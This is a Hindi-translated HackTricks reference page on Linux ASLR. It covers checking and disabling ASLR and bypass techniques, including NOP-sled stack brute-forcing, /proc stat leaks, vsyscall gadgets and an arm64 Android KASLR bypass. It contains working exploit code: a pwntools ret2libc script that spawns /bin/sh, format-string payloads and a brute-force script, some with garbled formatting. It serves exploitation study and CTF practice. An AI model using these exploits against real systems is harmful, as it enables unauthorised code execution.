ASLR
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
बुनियादी जानकारी
Address Space Layout Randomization (ASLR) एक सुरक्षा तकनीक है जो ऑपरेटिंग सिस्टम्स में सिस्टम और एप्लिकेशन प्रोसेसेस द्वारा उपयोग किए जाने वाले मेमोरी एड्रेसों को यादृच्छिक बनाती है। ऐसा करके यह किसी attacker के लिए specific processes और data, जैसे stack, heap, और libraries, के स्थान की भविष्यवाणी करना काफी कठिन कर देता है, जिससे कुछ प्रकार के exploits, विशेषकर buffer overflows, कम प्रभावी होते हैं।
ASLR की स्थिति जांचना
Linux सिस्टम पर ASLR की स्थिति जांचने के लिए, आप /proc/sys/kernel/randomize_va_space फ़ाइल से मान पढ़ सकते हैं। इस फ़ाइल में संग्रहीत मान तय करता है कि किस प्रकार की ASLR लागू की जा रही है:
- 0: कोई रैंडमाइज़ेशन नहीं। सब कुछ स्थिर है।
- 1: Conservative randomization। Shared libraries, stack, mmap(), VDSO page रैन्डमाइज़ किए जाते हैं।
- 2: Full randomization। Conservative randomization द्वारा रैन्डमाइज़ किए गए तत्वों के अलावा,
brk()के माध्यम से प्रबंधित memory भी रैन्डमाइज़ की जाती है।
आप निम्नलिखित कमांड से ASLR की स्थिति जांच सकते हैं:
cat /proc/sys/kernel/randomize_va_space
ASLR को निष्क्रिय करना
ASLR को निष्क्रिय करने के लिए, आप /proc/sys/kernel/randomize_va_space का मान 0 सेट करते हैं। परीक्षण या डिबगिंग परिदृश्यों के बाहर सामान्यतः ASLR को निष्क्रिय करने की सलाह नहीं दी जाती। इसे निष्क्रिय करने का तरीका यहां दिया गया है:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
आप किसी निष्पादन के लिए ASLR को भी अक्षम कर सकते हैं:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
ASLR सक्षम करना
ASLR को सक्षम करने के लिए, आप फ़ाइल /proc/sys/kernel/randomize_va_space में 2 मान लिख सकते हैं। इसके लिए आम तौर पर root privileges की आवश्यकता होती है। पूर्ण randomization को निम्नलिखित कमांड से सक्षम किया जा सकता है:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
रीबूट के बाद स्थायित्व
echo कमांड्स से किए गए परिवर्तन अस्थायी होते हैं और रीबूट पर रीसेट हो जाएंगे। बदलाव को स्थायी बनाने के लिए आपको /etc/sysctl.conf फ़ाइल को संपादित करके निम्न पंक्ति जोड़नी या संशोधित करनी होगी:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
/etc/sysctl.conf संपादित करने के बाद, परिवर्तनों को लागू करने के लिए:
sudo sysctl -p
This will ensure that your ASLR settings remain across reboots.
Bypasses
32bit brute-forcing
PaX प्रक्रिया के address space को 3 समूहों में विभाजित करता है:
- Code and data (initialized and uninitialized):
.text,.data, and.bss—>delta_execवेरिएबल में 16 bits की एंट्रॉपी. यह वेरिएबल हर प्रोसेस के साथ रैंडम रूप से इनिशियलाइज़ होता है और इनिशियल एड्रेस में जोड़ा जाता है। mmap()द्वारा allocate की गई Memory और shared libraries —> 16 bits, नामdelta_mmap.- The stack —> 24 bits, जिसे
delta_stackकहा जाता है। हालाँकि, वास्तव में यह प्रभावी रूप से 11 bits का उपयोग करता है (10वें से 20वें बाइट तक सहित), 16 bytes के अनुरूप aligned —> इससे 524,288 संभावित वास्तविक stack addresses बनते हैं।
ऊपर दिया गया डेटा 32-bit systems के लिए है और घटित अंतिम एंट्रॉपी ASLR को बायपास करना संभव बनाती है — बस exploit के सफल होने तक execution को बार-बार retry करें।
Brute-force ideas:
- यदि आपके पास इतना बड़ा overflow है कि आप big NOP sled before the shellcode रख सकें, तो आप stack में addresses को brute-force कर सकते हैं जब तक flow NOP sled के किसी हिस्से को पार न कर दे।
- यदि overflow इतना बड़ा नहीं है और exploit लोकली चलाया जा सकता है तो एक और विकल्प यह है कि NOP sled और shellcode को एक environment variable में जोड़ दें।
- यदि exploit local है, तो आप libc के base address को brute-force करने की कोशिश कर सकते हैं (32bit systems के लिए उपयोगी):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- अगर आप किसी remote server पर attack कर रहे हैं, तो आप कोशिश कर सकते हैं कि
libcfunctionusleepका address brute-force करें, और उसे उदाहरण के लिए 10 argument के रूप में पास करें। अगर किसी बिंदु पर सर्वर को प्रतिक्रिया देने में 10s अतिरिक्त समय लगता है, तो आपने इस function का address पा लिया है।
Tip
64bit systems में एंट्रॉपी बहुत अधिक होती है और यह आमतौर पर संभव नहीं होना चाहिए।
64 bits stack brute-forcing
यह संभव है कि env variables के साथ स्टैक का एक बड़ा हिस्सा भर दिया जाए और फिर इसे abuse करने के लिए binary को सैकड़ों/हजारों बार locally चलाकर exploit करने की कोशिश की जाए.
निम्नलिखित code दिखाता है कि कैसे यह संभव है कि आप सिर्फ स्टैक में एक address चुनें और हर कुछ सैकड़ों executions पर वह address NOP instruction रखेगा:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Python brute-force stack NOP detection
```python import subprocess import tracebackStart the process
nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops
Define the environment variables you want to set
env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }
cont = 0 while True: cont += 1
if cont % 10000 == 0: break
print(cont, end=“\r”)
Define the path to your binary
binary_path = ‘./aslr-testing’
try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass
</details>
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### स्थानीय जानकारी (`/proc/[pid]/stat`)
एक प्रक्रिया की फ़ाइल **`/proc/[pid]/stat`** हमेशा सभी के लिए पढ़ने योग्य होती है और इसमें निम्न जैसी रोचक जानकारी होती है:
- **startcode** & **endcode**: बाइनरी के **TEXT** हिस्से के ऊपर व नीचे के पते
- **startstack**: **stack** की शुरुआत का पता
- **start_data** & **end_data**: जहाँ **BSS** मौजूद है उसके ऊपर और नीचे के पते
- **kstkesp** & **kstkeip**: वर्तमान **ESP** और **EIP** पते
- **arg_start** & **arg_end**: जहाँ **cli arguments** होते हैं उसके ऊपर और नीचे के पते
- **env_start** &**env_end**: जहाँ **env variables** होते हैं उसके ऊपर और नीचे के पते
इसलिए, अगर attacker उसी कंप्यूटर पर है जहाँ जिस बाइनरी का exploit किया जा रहा है और यह बाइनरी raw arguments से overflow की उम्मीद नहीं करती, बल्कि किसी ऐसे अलग input से करती है जिसे इस फ़ाइल को पढ़ने के बाद तैयार किया जा सकता है, तो attacker इस फ़ाइल से कुछ पते प्राप्त करके उनसे offsets बनाकर exploit के लिए उपयोग कर सकता है।
> [!TIP]
> इस फ़ाइल के बारे में अधिक जानकारी के लिए [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) में `/proc/pid/stat` खोजें
### leak होना
- **यह challenge एक leak दे रहा है**
अगर आपको leak दिया गया है (आसान CTF challenges), तो आप इससे offsets निकाल सकते हैं (मान लें, उदाहरण के लिए, कि आप उस सिस्टम में उपयोग हो रही exact libc version जानते हैं जिसे आप exploit कर रहे हैं)। यह उदाहरण exploit [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) से लिया गया है (अधिक विवरण के लिए उस पेज को देखें):
<details>
<summary>दी गई libc leak के साथ Python exploit</summary>
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
एक buffer overflow का दुरुपयोग करके ret2plt का उपयोग कर libc की किसी function के address को exfiltrate करना संभव होगा। देखें:
- Format Strings Arbitrary Read
बिलकुल ret2plt की तरह, अगर आपके पास format strings vulnerability के माध्यम से एक arbitrary read है, तो GOT से एक libc function का address exfiltrate करना संभव है। निम्नलिखित example is from here:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
You can find more info about Format Strings arbitrary read in:
Ret2ret & Ret2pop
Try to bypass ASLR abusing addresses inside the stack:
vsyscall
The vsyscall mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of vsyscalls lies in their fixed addresses, which are not subject to ASLR (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.
हालाँकि, यहाँ कोई बहुत दिलचस्प gadgets नहीं मिलेंगे (हालाँकि उदाहरण के लिए ret; के समकक्ष कुछ मिल सकता है)
(निम्नलिखित उदाहरण और कोड from this writeup)
For instance, an attacker might use the address 0xffffffffff600800 within an exploit. While attempting to jump directly to a ret instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a syscall provided by the vsyscall section can prove successful. By carefully placing a ROP gadget that leads execution to this vsyscall address, an attacker can achieve code execution without needing to bypass ASLR for this part of the exploit.
Example vmmap/vsyscall and gadget lookup
```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall] A syntax error in expression, near `.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'. gef➤ x/8g 0xffffffffff600000 0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305 0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 ```vDSO
ध्यान दें कि यदि kernel CONFIG_COMPAT_VDSO के साथ compiled है तो vdso address randomized नहीं होगा, इसलिए bypass ASLR abusing the vdso संभव हो सकता है। अधिक जानकारी के लिए देखें:
KASLR on ARM64 (Android): bypass via fixed linear map
कई arm64 Android kernels में kernel linear map (direct map) का base बूट्स के दौरान fixed रहता है। physical pages के लिए kernel VAs predictable हो जाते हैं, जिससे direct map के माध्यम से पहुँचने योग्य targets के लिए KASLR टूट जाता है।
- For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
- PAGE_OFFSET = 0xffffff8000000000
- PHYS_OFFSET = memstart_addr (exported symbol)
- Translation:
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)
Leaking PHYS_OFFSET (rooted or with a kernel read primitive)
grep memstart /proc/kallsymsका उपयोग करmemstart_addrखोजें- किसी भी kernel read का उपयोग करके उस address से 8 bytes पढ़ें (LE) — उदाहरण के लिए tracing-BPF helper जो
BPF_FUNC_probe_read_kernelकॉल करता है - direct-map VAs की गणना करें:
virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)
Exploitation impact
- यदि target direct map में है/उस तक direct map के माध्यम से पहुँच है तो अलग KASLR leak की आवश्यकता नहीं है (उदाहरण: page tables, physical pages पर मौजूद kernel objects जिन्हें आप प्रभावित/observe कर सकते हैं)।
- arm64 Android पर reliable arbitrary R/W और kernel data को target करना सरल हो जाता है।
Reproduction summary
grep memstart /proc/kallsyms-> address ofmemstart_addr- Kernel read -> decode 8 bytes LE ->
PHYS_OFFSET - Use
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)withPAGE_OFFSET=0xffffff8000000000
Note
Access to tracing-BPF helpers requires sufficient privileges; any kernel read primitive or info leak suffices to obtain
PHYS_OFFSET.
How it’s fixed
- सीमित kernel VA space और CONFIG_MEMORY_HOTPLUG भविष्य के hotplug के लिए VA reserve करता है, जिससे linear map lowest VA पर धकेल दिया जाता है (fixed base)।
- Upstream arm64 ने linear-map randomization हटा दी (commit
1db780bafa4c)।
References
- Defeating KASLR by Doing Nothing at All (Project Zero)
- arm64: remove linear map randomization (commit 1db780bafa4c)
- Tracing BPF arbitrary read helper (Project Zero issue 434208461)
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks

